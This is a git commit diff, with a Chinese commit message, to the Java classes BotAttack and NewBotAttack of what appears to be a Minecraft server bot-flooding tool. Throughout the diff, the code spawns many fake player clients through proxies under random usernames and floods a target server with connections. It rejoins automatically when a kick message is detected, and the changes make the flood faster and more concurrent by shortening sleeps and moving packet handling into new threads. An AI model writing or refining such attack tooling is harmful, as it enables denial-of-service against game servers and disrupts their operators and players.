逻辑错误修正 部分代码异步化
This commit is contained in:
parent
8f796e4911
commit
a5245d315d
|
@ -95,7 +95,8 @@ public class BotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
OtherUtils.doSleep(5 * 1000);
|
|
||||||
|
OtherUtils.doSleep(1000);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
@ -104,18 +105,20 @@ public class BotAttack extends IAttack {
|
||||||
mainThread = new Thread(() -> {
|
mainThread = new Thread(() -> {
|
||||||
while (true) {
|
while (true) {
|
||||||
try {
|
try {
|
||||||
cleanClients();
|
|
||||||
createClients(ip, port);
|
createClients(ip, port);
|
||||||
OtherUtils.doSleep(10 * 1000);
|
|
||||||
|
|
||||||
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||||
for (Client c : clients) {
|
for (Client c : clients) {
|
||||||
c.getSession().disconnect("");
|
c.getSession().disconnect("");
|
||||||
}
|
}
|
||||||
|
|
||||||
stop();
|
stop();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(5 * 1000);
|
||||||
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
||||||
|
cleanClients();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
}
|
}
|
||||||
|
@ -157,7 +160,17 @@ public class BotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
|
|
||||||
private void cleanClients() {
|
private void cleanClients() {
|
||||||
clients.removeIf(c -> !c.getSession().isConnected());
|
for (Client client:clients) {
|
||||||
|
String username = clientName.get(client);
|
||||||
|
|
||||||
|
if (!client.getSession().isConnected()) {
|
||||||
|
alivePlayers.remove(username);
|
||||||
|
clientName.remove(client);
|
||||||
|
clients.remove(client);
|
||||||
|
} else if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void createClients(final String ip, int port) {
|
private void createClients(final String ip, int port) {
|
||||||
|
@ -181,8 +194,8 @@ public class BotAttack extends IAttack {
|
||||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
String[] User = AttackManager.getRandomUser().split("@");
|
String[] User = AttackManager.getRandomUser().split("@");
|
||||||
Client client = createClient(ip, port, User[0], proxy);
|
Client client = createClient(ip, port, User[0], proxy);
|
||||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
client.getSession().setReadTimeout(5 * 1000);
|
||||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
client.getSession().setWriteTimeout(5 * 1000);
|
||||||
clientName.put(client, User[0]);
|
clientName.put(client, User[0]);
|
||||||
clients.add(client);
|
clients.add(client);
|
||||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||||
|
@ -228,8 +241,6 @@ public class BotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
|
|
||||||
ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1])));
|
ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1])));
|
||||||
|
|
||||||
|
|
||||||
client = new Client(ip, port, new MinecraftProtocol(username), new VersionSupport578().createTcpSessionFactory(proxyInfo));
|
client = new Client(ip, port, new MinecraftProtocol(username), new VersionSupport578().createTcpSessionFactory(proxyInfo));
|
||||||
} else {
|
} else {
|
||||||
client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
|
client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
|
||||||
|
@ -239,11 +250,13 @@ public class BotAttack extends IAttack {
|
||||||
|
|
||||||
client.getSession().addListener(new SessionListener() {
|
client.getSession().addListener(new SessionListener() {
|
||||||
public void packetReceived(PacketReceivedEvent e) {
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
handlePacket(e.getSession(), e.getPacket(), username);
|
new Thread(() -> handlePacket(e.getSession(), e.getPacket(), username)).start();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetReceived(Session session, Packet packet) {
|
public void packetReceived(Session session, Packet packet) {
|
||||||
handlePacket(session, packet, username);
|
new Thread(() -> {
|
||||||
|
handlePacket(session, packet, username);
|
||||||
|
}).start();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||||
|
@ -281,23 +294,25 @@ public class BotAttack extends IAttack {
|
||||||
|
|
||||||
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||||
if (msg.contains(rejoinDetect)) {
|
if (msg.contains(rejoinDetect)) {
|
||||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
new Thread(() -> {
|
||||||
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||||
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||||
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
|
||||||
rejoin++;
|
rejoin++;
|
||||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||||
clientName.put(rejoinClient, username);
|
clientName.put(rejoinClient, username);
|
||||||
clients.add(rejoinClient);
|
clients.add(rejoinClient);
|
||||||
rejoinClient.getSession().connect(false);
|
rejoinClient.getSession().connect(false);
|
||||||
|
|
||||||
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||||
|
|
||||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}).start();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (ConfigUtil.ShowFails) {
|
} else if (ConfigUtil.ShowFails) {
|
||||||
|
|
|
@ -116,7 +116,8 @@ public class NewBotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
OtherUtils.doSleep(5 * 1000);
|
|
||||||
|
OtherUtils.doSleep(1000);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
@ -125,9 +126,7 @@ public class NewBotAttack extends IAttack {
|
||||||
mainThread = new Thread(() -> {
|
mainThread = new Thread(() -> {
|
||||||
while (true) {
|
while (true) {
|
||||||
try {
|
try {
|
||||||
cleanClients();
|
|
||||||
createClients(ip, port);
|
createClients(ip, port);
|
||||||
OtherUtils.doSleep(10 * 1000);
|
|
||||||
|
|
||||||
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||||
for (Session c : clients) {
|
for (Session c : clients) {
|
||||||
|
@ -136,7 +135,10 @@ public class NewBotAttack extends IAttack {
|
||||||
stop();
|
stop();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(5 * 1000);
|
||||||
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
||||||
|
cleanClients();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
}
|
}
|
||||||
|
@ -182,7 +184,17 @@ public class NewBotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
|
|
||||||
private void cleanClients() {
|
private void cleanClients() {
|
||||||
clients.removeIf(c -> !c.isConnected());
|
for (Session client:clients) {
|
||||||
|
String username = clientName.get(client);
|
||||||
|
|
||||||
|
if (!client.isConnected()) {
|
||||||
|
alivePlayers.remove(username);
|
||||||
|
clientName.remove(client);
|
||||||
|
clients.remove(client);
|
||||||
|
} else if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void createClients(final String ip, int port) {
|
private void createClients(final String ip, int port) {
|
||||||
|
@ -206,8 +218,8 @@ public class NewBotAttack extends IAttack {
|
||||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
String[] User = AttackManager.getRandomUser().split("@");
|
String[] User = AttackManager.getRandomUser().split("@");
|
||||||
Session client = createClient(ip, port, User[0], proxy);
|
Session client = createClient(ip, port, User[0], proxy);
|
||||||
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
client.setReadTimeout(5 * 1000);
|
||||||
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
client.setWriteTimeout(5 * 1000);
|
||||||
clientName.put(client, User[0]);
|
clientName.put(client, User[0]);
|
||||||
clients.add(client);
|
clients.add(client);
|
||||||
ProxyUtil.clientsProxy.put(client, proxy);
|
ProxyUtil.clientsProxy.put(client, proxy);
|
||||||
|
@ -221,10 +233,13 @@ public class NewBotAttack extends IAttack {
|
||||||
client.connect(false);
|
client.connect(false);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
|
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) {
|
||||||
return;
|
return;
|
||||||
if (this.attack_joinsleep > 0)
|
}
|
||||||
|
|
||||||
|
if (this.attack_joinsleep > 0) {
|
||||||
OtherUtils.doSleep(attack_joinsleep);
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
}
|
}
|
||||||
|
@ -258,19 +273,23 @@ public class NewBotAttack extends IAttack {
|
||||||
|
|
||||||
client.addListener(new SessionListener() {
|
client.addListener(new SessionListener() {
|
||||||
public void packetReceived(PacketReceivedEvent e) {
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
if (ProtocolLibs.adaptAfter758) {
|
new Thread(() -> {
|
||||||
newHandlePacket(e.getSession(), e.getPacket(), username);
|
if (ProtocolLibs.adaptAfter758) {
|
||||||
} else {
|
newHandlePacket(e.getSession(), e.getPacket(), username);
|
||||||
handlePacket(e.getSession(), e.getPacket(), username);
|
} else {
|
||||||
}
|
handlePacket(e.getSession(), e.getPacket(), username);
|
||||||
|
}
|
||||||
|
}).start();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetReceived(Session session, Packet packet) {
|
public void packetReceived(Session session, Packet packet) {
|
||||||
if (ProtocolLibs.adaptAfter758) {
|
new Thread(() -> {
|
||||||
newHandlePacket(session, packet, username);
|
if (ProtocolLibs.adaptAfter758) {
|
||||||
} else {
|
newHandlePacket(session, packet, username);
|
||||||
handlePacket(session, packet, username);
|
} else {
|
||||||
}
|
handlePacket(session, packet, username);
|
||||||
|
}
|
||||||
|
}).start();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||||
|
@ -314,23 +333,25 @@ public class NewBotAttack extends IAttack {
|
||||||
|
|
||||||
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||||
if (msg.contains(rejoinDetect)) {
|
if (msg.contains(rejoinDetect)) {
|
||||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
new Thread(() -> {
|
||||||
Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||||
rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
Session rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||||
rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
rejoinClient.setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
rejoinClient.setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
|
||||||
rejoin++;
|
rejoin++;
|
||||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||||
clientName.put(rejoinClient, username);
|
clientName.put(rejoinClient, username);
|
||||||
clients.add(rejoinClient);
|
clients.add(rejoinClient);
|
||||||
rejoinClient.connect(false);
|
rejoinClient.connect(false);
|
||||||
|
|
||||||
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||||
|
|
||||||
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
|
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}).start();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (ConfigUtil.ShowFails) {
|
} else if (ConfigUtil.ShowFails) {
|
||||||
|
|
|
@ -106,7 +106,8 @@ public class BotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
OtherUtils.doSleep(5 * 1000);
|
|
||||||
|
OtherUtils.doSleep(1000);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
@ -115,18 +116,20 @@ public class BotAttack extends IAttack {
|
||||||
mainThread = new Thread(() -> {
|
mainThread = new Thread(() -> {
|
||||||
while (true) {
|
while (true) {
|
||||||
try {
|
try {
|
||||||
cleanClients();
|
|
||||||
createClients(ip, port);
|
createClients(ip, port);
|
||||||
OtherUtils.doSleep(10 * 1000);
|
|
||||||
|
|
||||||
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||||
for (Client c : clients) {
|
for (Client c : clients) {
|
||||||
c.getSession().disconnect("");
|
c.getSession().disconnect("");
|
||||||
}
|
}
|
||||||
|
|
||||||
stop();
|
stop();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(5 * 1000);
|
||||||
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
||||||
|
cleanClients();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||||
}
|
}
|
||||||
|
@ -168,7 +171,17 @@ public class BotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
|
|
||||||
private void cleanClients() {
|
private void cleanClients() {
|
||||||
clients.removeIf(c -> !c.getSession().isConnected());
|
for (Client client:clients) {
|
||||||
|
String username = clientName.get(client);
|
||||||
|
|
||||||
|
if (!client.getSession().isConnected()) {
|
||||||
|
alivePlayers.remove(username);
|
||||||
|
clientName.remove(client);
|
||||||
|
clients.remove(client);
|
||||||
|
} else if (!alivePlayers.contains(username)) {
|
||||||
|
alivePlayers.add(username);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void createClients(final String ip, int port) {
|
private void createClients(final String ip, int port) {
|
||||||
|
@ -192,8 +205,8 @@ public class BotAttack extends IAttack {
|
||||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
String[] User = AttackManager.getRandomUser().split("@");
|
String[] User = AttackManager.getRandomUser().split("@");
|
||||||
Client client = createClient(ip, port, User[0], proxy);
|
Client client = createClient(ip, port, User[0], proxy);
|
||||||
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
client.getSession().setReadTimeout(5 * 1000);
|
||||||
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
|
client.getSession().setWriteTimeout(5 * 1000);
|
||||||
clientName.put(client, User[0]);
|
clientName.put(client, User[0]);
|
||||||
clients.add(client);
|
clients.add(client);
|
||||||
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
||||||
|
@ -223,7 +236,9 @@ public class BotAttack extends IAttack {
|
||||||
|
|
||||||
client.getSession().addListener(new SessionListener() {
|
client.getSession().addListener(new SessionListener() {
|
||||||
public void packetReceived(PacketReceivedEvent e) {
|
public void packetReceived(PacketReceivedEvent e) {
|
||||||
handlePacket(e.getSession(), e.getPacket(), username);
|
new Thread(() -> {
|
||||||
|
handlePacket(e.getSession(), e.getPacket(), username);
|
||||||
|
}).start();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void packetSent(PacketSentEvent e) {
|
public void packetSent(PacketSentEvent e) {
|
||||||
|
@ -248,23 +263,25 @@ public class BotAttack extends IAttack {
|
||||||
|
|
||||||
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||||
if (msg.contains(rejoinDetect)) {
|
if (msg.contains(rejoinDetect)) {
|
||||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
new Thread(() -> {
|
||||||
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||||
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||||
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
|
||||||
|
|
||||||
rejoin++;
|
rejoin++;
|
||||||
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
||||||
clientName.put(rejoinClient, username);
|
clientName.put(rejoinClient, username);
|
||||||
clients.add(rejoinClient);
|
clients.add(rejoinClient);
|
||||||
rejoinClient.getSession().connect(false);
|
rejoinClient.getSession().connect(false);
|
||||||
|
|
||||||
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||||
|
|
||||||
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}).start();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (ConfigUtil.ShowFails) {
|
} else if (ConfigUtil.ShowFails) {
|
||||||
|
@ -273,10 +290,6 @@ public class BotAttack extends IAttack {
|
||||||
}
|
}
|
||||||
|
|
||||||
failed++;
|
failed++;
|
||||||
alivePlayers.remove(username);
|
|
||||||
|
|
||||||
client.getSession().disconnect("");
|
|
||||||
clients.remove(client);
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
return client;
|
return client;
|
||||||
|
|
Loading…
Reference in New Issue